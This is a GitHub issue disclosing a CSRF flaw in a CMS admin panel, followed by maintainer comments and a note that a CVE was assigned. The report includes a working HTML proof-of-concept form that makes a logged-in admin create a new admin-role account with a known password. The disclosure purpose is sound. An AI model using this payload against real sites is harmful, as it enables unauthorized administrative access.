cms CSRF issue that allows attacker to create an account

Hello. I'd like to report a security issue on the admin page.

Summary

this vuln is CSRF vuln that allows creating any kinds of account.

When an attacker induces authorized victims to a malicious webpage and make them send requests. a victim creates an account without their intent.

Reproduce

This is a step how to reproduce.

Access to the html page contains the payload after you login to admin(/en_US/admin/) page.

Then you find an admin account named [test] is created.

Payloads

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://your.cms.domain.example.com/en_US/admin/user/manage/add" method="POST">
      <input type="hidden" name="&#95;method" value="POST" />
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="username" value="test" />
      <input type="hidden" name="email" value="test&#64;example&#46;com" />
      <input type="hidden" name="web" value="" />
      <input type="hidden" name="locale" value="" />
      <input type="hidden" name="status" value="0" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="password" value="testtest" />
      <input type="hidden" name="password2" value="testtest" />
      <input type="hidden" name="roles&#91;&#95;ids&#93;" value="" />
      <input type="hidden" name="roles&#91;&#95;ids&#93;&#91;&#93;" value="1" />
      <input type="hidden" name="welcome&#95;message" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

I think this security issue is not serious. Because attack using this vulnerability requires induction.

Event

2018-03-15 this vulnerability is discovered.
2018-03-27 Open an issue on Github.

Mar 27 '18 05:03 fvi-att

Fixing CSRF in QACMS in general may produce several problem as QACMS heavily relies on AJAX and dynamic forms building. We could try to secure certain sections of the CMS, such as content/user editing forms, etc.

Apr 04 '18 21:04 botchris

@ChristopherCastro do you plan to address this? note that a CVE was assigned to this issue. If you disagree with the assignment you may contact MITRE directly to reject the CVE.

Apr 08 '20 08:04 NicoleG25